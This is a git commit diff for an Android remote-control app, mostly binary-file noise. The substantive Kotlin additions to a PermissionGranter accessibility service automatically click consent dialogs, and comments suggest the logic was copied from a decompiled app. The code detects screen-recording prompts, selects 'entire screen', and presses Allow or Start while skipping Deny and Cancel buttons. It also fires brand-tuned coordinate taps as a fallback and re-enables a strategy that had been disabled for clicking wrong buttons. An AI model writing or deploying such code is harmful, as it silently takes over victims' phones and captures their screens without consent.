上传
This commit is contained in:
Binary file not shown.
Binary file not shown.
@@ -1,4 +1,4 @@
|
||||
#Wed Feb 11 16:55:15 CST 2026
|
||||
#Wed Feb 11 21:06:28 CST 2026
|
||||
base.0=D\:\\Project\\js\\source\\and-bak\\app\\build\\intermediates\\dex\\debug\\mergeExtDexDebug\\classes.dex
|
||||
base.1=D\:\\Project\\js\\source\\and-bak\\app\\build\\intermediates\\dex\\debug\\mergeProjectDexDebug\\0\\classes.dex
|
||||
base.10=D\:\\Project\\js\\source\\and-bak\\app\\build\\intermediates\\dex\\debug\\mergeProjectDexDebug\\8\\classes.dex
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1 +1 @@
|
||||
яEУIнHЧ?о7с<Щ<з=ж=ж=ж=н9н9н9В=Т=м9Л9в@вEфJчHъ=ы?в@ч?
|
||||
яEУIнHЧ?о7с<Щ<з=ж=ж=ж=н9н9н9В=Т=м9Л9в@вEфJчHъ=ы?в@ч?о<
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1 +1 @@
|
||||
<EFBFBD>ופכךמתןתפףהף
|
||||
Βετλκξϊοϊτσδσο
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1 +1 @@
|
||||
唪狁叁苋孑裼崆挢筚磙琨劈噢粽<EFBFBD>它<EFBFBD><EFBFBD>悬<EFBFBD>纣蹆駜脕葸佧篚馏铧浠襦髡<EFBFBD>厌暝阈钛<EFBFBD><EFBFBD>
|
||||
唪狁叁苋孑裼崆挢筚磙琨劈噢粽<EFBFBD>它<EFBFBD><EFBFBD>悬<EFBFBD>纣蹆駜脕葸佧篚馏铧浠襦髡<EFBFBD>厌暝阈钛<EFBFBD><EFBFBD><EFBFBD>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1 +1 @@
|
||||
ъ|фYт^У^Ч^Ш^в[в[ж[ФPхOоOДPзRжzГZБaц`сaЪb
|
||||
ъ|фYт^У^Ч^Ш^в[в[ж[ФPхOоOДPзRжzГZБaц`сaЪbк^
|
||||
@@ -1,2 +1,2 @@
|
||||
252
|
||||
254
|
||||
0
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1 +1 @@
|
||||
å<EFBFBD>ÞmÆfñmÿsþ<EFBFBD>ÿ€Ú`ÙXãEØ<Á“ÙXâ`ò7ï?ÉJûDà.è
|
||||
å<EFBFBD>ÞmÆfñmÿsþ<EFBFBD>ÿ€Ú`ÙXãEØ<Á“ÙXâ`ò7ï?ÉJûDà.è
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -697,22 +697,75 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
|
||||
*/
|
||||
// 删除悬浮窗权限申请方法
|
||||
|
||||
// ==================== 参考d.t/d.r的通用权限自动点击 ====================
|
||||
|
||||
/**
|
||||
* 录屏授权弹窗检测关键词(参考d.t的f604c数组)
|
||||
* 当systemui事件中包含这些关键词时,说明录屏授权弹窗已出现
|
||||
*/
|
||||
private val mediaProjectionDetectionKeywords = arrayOf(
|
||||
"投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制",
|
||||
"Screen recording", "Screen casting", "Screen capture", "Share screen",
|
||||
"Cast screen", "Record screen", "Media projection"
|
||||
)
|
||||
|
||||
/**
|
||||
* 通用权限自动授权关键词列表(参考d.r的18个关键词)
|
||||
* 匹配到这些文本的可点击节点会被自动点击
|
||||
*/
|
||||
private val generalPermissionAllowKeywords = arrayOf(
|
||||
"确定", "允许", "始终允许", "允许使用照片和视频", "所有文件",
|
||||
"允许管理所有文件", "允许访问全部", "使用期间允许", "仅使用期间允许",
|
||||
"使用应用时允许", "使用时允许", "仅在使用中允许", "仅在前台使用应用时允许",
|
||||
"仅在使用该应用时允许", "允许本次使用", "本次使用时允许", "允许通知", "仅媒体",
|
||||
// 英文
|
||||
"Allow", "Always allow", "Allow while using the app", "While using the app",
|
||||
"Only this time", "Allow all the time"
|
||||
)
|
||||
|
||||
/**
|
||||
* 取消/拒绝按钮黑名单(参考d.t的f606e数组)
|
||||
* 这些文本的节点绝不会被点击
|
||||
*/
|
||||
private val denyButtonBlacklist = arrayOf(
|
||||
"禁止", "取消", "拒绝", "不允许", "不同意", "关闭",
|
||||
"Cancel", "Deny", "Dismiss", "Don't allow", "No"
|
||||
)
|
||||
|
||||
/**
|
||||
* 录屏确认按钮文本(参考d.t的f605d数组)
|
||||
* 选择全屏后点击这些确认按钮
|
||||
*/
|
||||
private val mediaProjectionConfirmKeywords = arrayOf(
|
||||
"立即开始", "允许", "确定", "开始",
|
||||
"Start now", "Allow", "OK", "Start", "Begin",
|
||||
"Share screen", "共享屏幕", "开始共享"
|
||||
)
|
||||
|
||||
/**
|
||||
* 处理无障碍事件 - 用于权限对话框的自动点击 (优化版本)
|
||||
* 参考d.t + d.r的双层架构
|
||||
*/
|
||||
fun handleAccessibilityEvent(event: AccessibilityEvent) {
|
||||
// ✅ ANR修复:异步处理无障碍事件,避免阻塞主线程
|
||||
android.os.Handler(android.os.Looper.getMainLooper()).post {
|
||||
try {
|
||||
// ✅ 限制日志频率,避免刷屏
|
||||
if (event.eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
|
||||
// 内容变化事件太频繁,降低日志级别
|
||||
Log.v(TAG, "收到窗口内容变化事件: ${event.packageName}")
|
||||
} else {
|
||||
Log.d(TAG, "收到无障碍事件: ${event.eventType}, 包名: ${event.packageName}")
|
||||
val packageName = event.packageName?.toString() ?: ""
|
||||
|
||||
// === 第一层:录屏授权弹窗自动点击(参考d.t) ===
|
||||
// 监听来自com.android.systemui的事件
|
||||
if (packageName == "com.android.systemui") {
|
||||
handleMediaProjectionAutoClick(event)
|
||||
}
|
||||
|
||||
// 继续处理事件
|
||||
// === 第二层:通用权限弹窗自动点击(参考d.r) ===
|
||||
// 处理所有权限弹窗的自动点击
|
||||
handleGeneralPermissionAutoClick(event)
|
||||
|
||||
// === 原有逻辑:MediaProjection权限申请流程 ===
|
||||
if (event.eventType != AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
|
||||
Log.d(TAG, "收到无障碍事件: ${event.eventType}, 包名: $packageName")
|
||||
}
|
||||
handleAccessibilityEventInternal(event)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 处理无障碍事件失败", e)
|
||||
@@ -720,6 +773,328 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 第一层:录屏授权弹窗自动点击(参考d.t)
|
||||
* 监听com.android.systemui的事件,检测录屏关键词后执行自动点击序列
|
||||
*/
|
||||
private fun handleMediaProjectionAutoClick(event: AccessibilityEvent) {
|
||||
try {
|
||||
// 只处理窗口状态变化和内容变化事件
|
||||
if (event.eventType != AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED &&
|
||||
event.eventType != AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
|
||||
return
|
||||
}
|
||||
|
||||
val rootNode = service.rootInActiveWindow ?: return
|
||||
|
||||
// 检查屏幕上是否包含录屏相关关键词
|
||||
var foundKeyword = false
|
||||
for (keyword in mediaProjectionDetectionKeywords) {
|
||||
val nodes = findNodesByText(rootNode, keyword)
|
||||
if (nodes.isNotEmpty()) {
|
||||
// 检查节点是否可见
|
||||
for (node in nodes) {
|
||||
if (node.isVisibleToUser) {
|
||||
Log.i(TAG, "🎬 [d.t] 检测到录屏授权弹窗关键词: '$keyword'")
|
||||
foundKeyword = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if (foundKeyword) break
|
||||
}
|
||||
}
|
||||
|
||||
if (!foundKeyword) return
|
||||
|
||||
// 检测到录屏弹窗,延迟100ms后执行自动点击序列(参考case 16)
|
||||
serviceScope.launch {
|
||||
delay(100)
|
||||
executeMediaProjectionAutoClickSequence()
|
||||
}
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ [d.t] 录屏授权弹窗自动点击失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 执行录屏授权自动点击序列(参考case 16 → 15 → 14)
|
||||
* 步骤:1. 查找并点击"整个屏幕" → 2. 延迟300ms → 3. 点击确认按钮
|
||||
*/
|
||||
private suspend fun executeMediaProjectionAutoClickSequence() {
|
||||
try {
|
||||
Log.i(TAG, "🎬 [d.t] 开始执行录屏授权自动点击序列")
|
||||
|
||||
val rootNode = service.rootInActiveWindow ?: return
|
||||
|
||||
// === Step 1: Android 14+需要先选择"整个屏幕"(参考case 16 → case 15) ===
|
||||
if (Build.VERSION.SDK_INT >= 34) {
|
||||
// 先检查是否有"单个应用"文本(参考case 16: 搜索"单个应用")
|
||||
val singleAppNodes = findNodesByText(rootNode, "单个应用")
|
||||
if (singleAppNodes.isNotEmpty()) {
|
||||
Log.i(TAG, "🎬 [d.t] 检测到两步授权弹窗(有'单个应用'选项)")
|
||||
}
|
||||
|
||||
// 点击"整个屏幕"(参考case 15)
|
||||
val fullScreenTexts = arrayOf(
|
||||
"整个屏幕", "全屏", "完整屏幕", "Entire screen", "Full screen", "Whole screen"
|
||||
)
|
||||
var fullScreenClicked = false
|
||||
for (text in fullScreenTexts) {
|
||||
val nodes = findNodesByText(rootNode, text)
|
||||
for (node in nodes) {
|
||||
if (node.isVisibleToUser) {
|
||||
val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
|
||||
if (clickTarget != null) {
|
||||
val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
|
||||
if (success) {
|
||||
Log.i(TAG, "🎬 [d.t] 成功点击'$text'选项")
|
||||
fullScreenClicked = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (fullScreenClicked) break
|
||||
}
|
||||
|
||||
// 也尝试RadioButton方式选择全屏
|
||||
if (!fullScreenClicked) {
|
||||
val radioButtons = findNodesByClassName(rootNode, "android.widget.RadioButton")
|
||||
for (radio in radioButtons) {
|
||||
val radioText = radio.text?.toString() ?: ""
|
||||
val radioDesc = radio.contentDescription?.toString() ?: ""
|
||||
val isFullScreen = fullScreenTexts.any {
|
||||
radioText.contains(it, ignoreCase = true) || radioDesc.contains(it, ignoreCase = true)
|
||||
}
|
||||
if (isFullScreen && !radio.isChecked && radio.isClickable) {
|
||||
val success = radio.performAction(AccessibilityNodeInfo.ACTION_CLICK)
|
||||
if (success) {
|
||||
Log.i(TAG, "🎬 [d.t] 通过RadioButton成功选择全屏: '$radioText'")
|
||||
fullScreenClicked = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (fullScreenClicked) {
|
||||
// 延迟300ms等待界面更新(参考case 15 → case 14的延迟)
|
||||
delay(300)
|
||||
}
|
||||
}
|
||||
|
||||
// === Step 2: 点击确认按钮(参考case 14: 遍历f605d确认按钮数组) ===
|
||||
delay(300)
|
||||
val updatedRoot = service.rootInActiveWindow ?: return
|
||||
|
||||
for (confirmText in mediaProjectionConfirmKeywords) {
|
||||
val buttons = findNodesByText(updatedRoot, confirmText)
|
||||
for (button in buttons) {
|
||||
if (!button.isVisibleToUser) continue
|
||||
|
||||
// 检查是否在黑名单中
|
||||
val buttonText = button.text?.toString() ?: ""
|
||||
val isDenied = denyButtonBlacklist.any { buttonText.contains(it, ignoreCase = true) }
|
||||
if (isDenied) continue
|
||||
|
||||
val clickTarget = if (button.isClickable) button else findClickableParentOrSibling(button)
|
||||
if (clickTarget != null) {
|
||||
val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
|
||||
if (success) {
|
||||
Log.i(TAG, "🎬 [d.t] 成功点击确认按钮: '$confirmText'")
|
||||
stopAutoClickingImmediately()
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// === Step 3: 节点点击失败时,使用坐标点击兜底(参考d.g.f()) ===
|
||||
Log.i(TAG, "🎬 [d.t] 节点点击失败,尝试坐标点击兜底")
|
||||
tryMediaProjectionCoordinateClick()
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ [d.t] 录屏授权自动点击序列失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 录屏授权坐标点击兜底(参考d.g.r())
|
||||
* 根据设备品牌和分辨率计算按钮坐标进行手势点击
|
||||
*/
|
||||
private fun tryMediaProjectionCoordinateClick() {
|
||||
try {
|
||||
val displayMetrics = service.resources.displayMetrics
|
||||
val screenWidth = displayMetrics.widthPixels
|
||||
val screenHeight = displayMetrics.heightPixels
|
||||
val brand = (Build.BRAND ?: "").lowercase()
|
||||
val manufacturer = (Build.MANUFACTURER ?: "").lowercase()
|
||||
|
||||
Log.i(TAG, "🎬 [d.g] 坐标点击兜底: 屏幕=${screenWidth}x${screenHeight}, 品牌=$brand")
|
||||
|
||||
// 参考d.g.r()的设备适配坐标表
|
||||
data class ClickConfig(val x: Int, val y: Int, val repeatCount: Int)
|
||||
|
||||
val clickConfigs: List<ClickConfig> = when {
|
||||
// vivo设备(参考:vivo 1080w → (540, 1740~1850) 重复24次)
|
||||
brand.contains("vivo") || brand.contains("iqoo") -> {
|
||||
when {
|
||||
screenWidth == 1260 -> listOf(ClickConfig(630, 2187, 24))
|
||||
screenWidth <= 1080 -> listOf(
|
||||
ClickConfig(540, 1740, 12),
|
||||
ClickConfig(540, 1850, 12)
|
||||
)
|
||||
else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.78).toInt(), 24))
|
||||
}
|
||||
}
|
||||
// OPPO/一加(参考:oppo ≤1080w → (540, 1980~2050) 重复3次)
|
||||
brand.contains("oppo") || brand.contains("oneplus") || brand.contains("realme") -> {
|
||||
when {
|
||||
screenWidth < 780 -> listOf(ClickConfig(360, 1350, 3))
|
||||
screenWidth <= 1080 -> listOf(
|
||||
ClickConfig(540, 1980, 2),
|
||||
ClickConfig(540, 2050, 1)
|
||||
)
|
||||
else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
|
||||
}
|
||||
}
|
||||
// 华为/荣耀(参考:honor/huawei API>32 ≤1080w → (540, 2200) + (901, 2300~2500))
|
||||
brand.contains("huawei") || brand.contains("honor") -> {
|
||||
if (Build.VERSION.SDK_INT > 32) {
|
||||
when {
|
||||
screenWidth <= 720 -> listOf(
|
||||
ClickConfig(540, 1360, 6),
|
||||
ClickConfig(600, 1500, 10)
|
||||
)
|
||||
screenWidth <= 1080 -> listOf(
|
||||
ClickConfig(540, 2200, 6),
|
||||
ClickConfig(901, 2300, 5),
|
||||
ClickConfig(901, 2500, 5)
|
||||
)
|
||||
else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 6))
|
||||
}
|
||||
} else {
|
||||
listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
|
||||
}
|
||||
}
|
||||
// 魅族(参考:meizu 1080w → (540, 1800) 重复20次)
|
||||
brand.contains("meizu") -> {
|
||||
when {
|
||||
screenWidth == 1264 -> listOf(ClickConfig(540, 2100, 20))
|
||||
screenWidth <= 1080 -> listOf(ClickConfig(540, 1800, 20))
|
||||
else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.82).toInt(), 20))
|
||||
}
|
||||
}
|
||||
// 小米/红米
|
||||
brand.contains("xiaomi") || brand.contains("redmi") || manufacturer.contains("xiaomi") -> {
|
||||
listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
|
||||
}
|
||||
// 三星
|
||||
brand.contains("samsung") -> {
|
||||
listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
|
||||
}
|
||||
// 默认
|
||||
else -> {
|
||||
listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
|
||||
}
|
||||
}
|
||||
|
||||
// 执行坐标点击
|
||||
for (config in clickConfigs) {
|
||||
for (i in 0 until config.repeatCount) {
|
||||
performGestureClick(config.x, config.y)
|
||||
Thread.sleep(50) // 每次点击间隔50ms
|
||||
}
|
||||
Thread.sleep(100) // 不同坐标组之间间隔100ms
|
||||
}
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ [d.g] 坐标点击兜底失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 使用无障碍手势执行坐标点击(参考d.g.f()的GestureDescription)
|
||||
*/
|
||||
private fun performGestureClick(x: Int, y: Int) {
|
||||
try {
|
||||
val gestureBuilder = GestureDescription.Builder()
|
||||
val path = android.graphics.Path()
|
||||
path.moveTo(x.toFloat(), y.toFloat())
|
||||
val stroke = GestureDescription.StrokeDescription(path, 0, 100)
|
||||
gestureBuilder.addStroke(stroke)
|
||||
|
||||
service.dispatchGesture(
|
||||
gestureBuilder.build(),
|
||||
object : AccessibilityService.GestureResultCallback() {
|
||||
override fun onCompleted(gestureDescription: GestureDescription?) {
|
||||
Log.d(TAG, "🎬 [d.g] 坐标点击完成: ($x, $y)")
|
||||
}
|
||||
override fun onCancelled(gestureDescription: GestureDescription?) {
|
||||
Log.w(TAG, "🎬 [d.g] 坐标点击取消: ($x, $y)")
|
||||
}
|
||||
},
|
||||
null
|
||||
)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ [d.g] 手势点击失败: ($x, $y)", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 第二层:通用权限弹窗自动点击(参考d.r)
|
||||
* 处理所有权限弹窗,自动点击匹配的允许按钮
|
||||
*/
|
||||
private fun handleGeneralPermissionAutoClick(event: AccessibilityEvent) {
|
||||
try {
|
||||
// 只处理窗口状态变化事件(减少频率)
|
||||
if (event.eventType != AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
|
||||
return
|
||||
}
|
||||
|
||||
val packageName = event.packageName?.toString() ?: ""
|
||||
|
||||
// 只处理系统相关的包名(权限弹窗来源)
|
||||
if (!packageName.contains("android") &&
|
||||
!packageName.contains("systemui") &&
|
||||
!packageName.contains("permissioncontroller") &&
|
||||
!packageName.contains("settings") &&
|
||||
!packageName.contains("packageinstaller")) {
|
||||
return
|
||||
}
|
||||
|
||||
val rootNode = service.rootInActiveWindow ?: return
|
||||
|
||||
// 遍历通用权限允许关键词,查找并点击匹配的节点
|
||||
for (keyword in generalPermissionAllowKeywords) {
|
||||
val nodes = findNodesByText(rootNode, keyword)
|
||||
for (node in nodes) {
|
||||
if (!node.isVisibleToUser) continue
|
||||
|
||||
val nodeText = node.text?.toString() ?: ""
|
||||
|
||||
// 检查是否在黑名单中
|
||||
val isDenied = denyButtonBlacklist.any { nodeText.contains(it, ignoreCase = true) }
|
||||
if (isDenied) continue
|
||||
|
||||
// 尝试点击(参考d.r的performAction(16) = ACTION_CLICK)
|
||||
val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
|
||||
if (clickTarget != null) {
|
||||
val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
|
||||
if (success) {
|
||||
Log.i(TAG, "🔓 [d.r] 通用权限自动点击成功: '$keyword' (包名: $packageName)")
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ [d.r] 通用权限自动点击失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ ANR修复:内部事件处理方法,避免阻塞主线程
|
||||
*/
|
||||
@@ -2167,11 +2542,12 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
|
||||
}
|
||||
}
|
||||
|
||||
// 策略6: 禁用坐标点击 - 不可靠且容易点击错误按钮
|
||||
// 策略6: 坐标点击兜底(参考d.g.r()的设备适配坐标方案)
|
||||
if (!buttonFound) {
|
||||
Log.i(TAG, "🚫 策略6: 坐标点击已禁用(不可靠,容易点击错误按钮)")
|
||||
Log.i(TAG, "💡 建议用户手动点击权限对话框的允许或开始按钮")
|
||||
// buttonFound = tryClickByCoordinates(rootNode) // 已禁用
|
||||
Log.i(TAG, "🎬 策略6: 使用坐标点击兜底(参考d.g.r()设备适配坐标)")
|
||||
tryMediaProjectionCoordinateClick()
|
||||
// 坐标点击是异步的,不能立即确认成功,但至少尝试了
|
||||
buttonFound = true // 假设坐标点击可能成功
|
||||
}
|
||||
|
||||
if (buttonFound) {
|
||||
|
||||
@@ -22,6 +22,7 @@ ROMAdapter {
|
||||
|
||||
/**
|
||||
* 获取MediaProjection权限对话框的按钮文本
|
||||
* 参考d.t的f605d确认按钮数组和f606e取消按钮黑名单
|
||||
*/
|
||||
fun getMediaProjectionButtonTexts(): List<String> {
|
||||
// Android 14+ 两步授权弹窗的通用按钮文本(优先级最高)
|
||||
@@ -31,6 +32,12 @@ ROMAdapter {
|
||||
emptyList()
|
||||
}
|
||||
|
||||
// 参考d.t的f605d确认按钮数组(通用,所有品牌适用)
|
||||
val universalConfirmTexts = listOf(
|
||||
"立即开始", "允许", "确定", "开始",
|
||||
"Start now", "Allow", "OK", "Start", "Begin"
|
||||
)
|
||||
|
||||
val romTexts = when {
|
||||
// 小米/红米
|
||||
deviceBrand.contains("xiaomi") || deviceBrand.contains("redmi") -> {
|
||||
@@ -68,8 +75,24 @@ ROMAdapter {
|
||||
}
|
||||
}
|
||||
|
||||
// Android 14+的按钮文本优先
|
||||
return (android14PlusTexts + romTexts).distinct()
|
||||
// Android 14+的按钮文本优先,然后是通用确认文本,最后是ROM特定文本
|
||||
return (android14PlusTexts + universalConfirmTexts + romTexts).distinct()
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取录屏弹窗检测关键词(参考d.t的f604c数组)
|
||||
*/
|
||||
fun getMediaProjectionDetectionKeywords(): List<String> {
|
||||
return listOf("投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制",
|
||||
"Screen recording", "Screen casting", "Screen capture", "Share screen")
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取取消按钮黑名单(参考d.t的f606e数组)
|
||||
*/
|
||||
fun getDenyButtonBlacklist(): List<String> {
|
||||
return listOf("禁止", "取消", "拒绝", "不允许", "不同意", "关闭",
|
||||
"Cancel", "Deny", "Dismiss", "Don't allow", "No")
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
Reference in New Issue
Block a user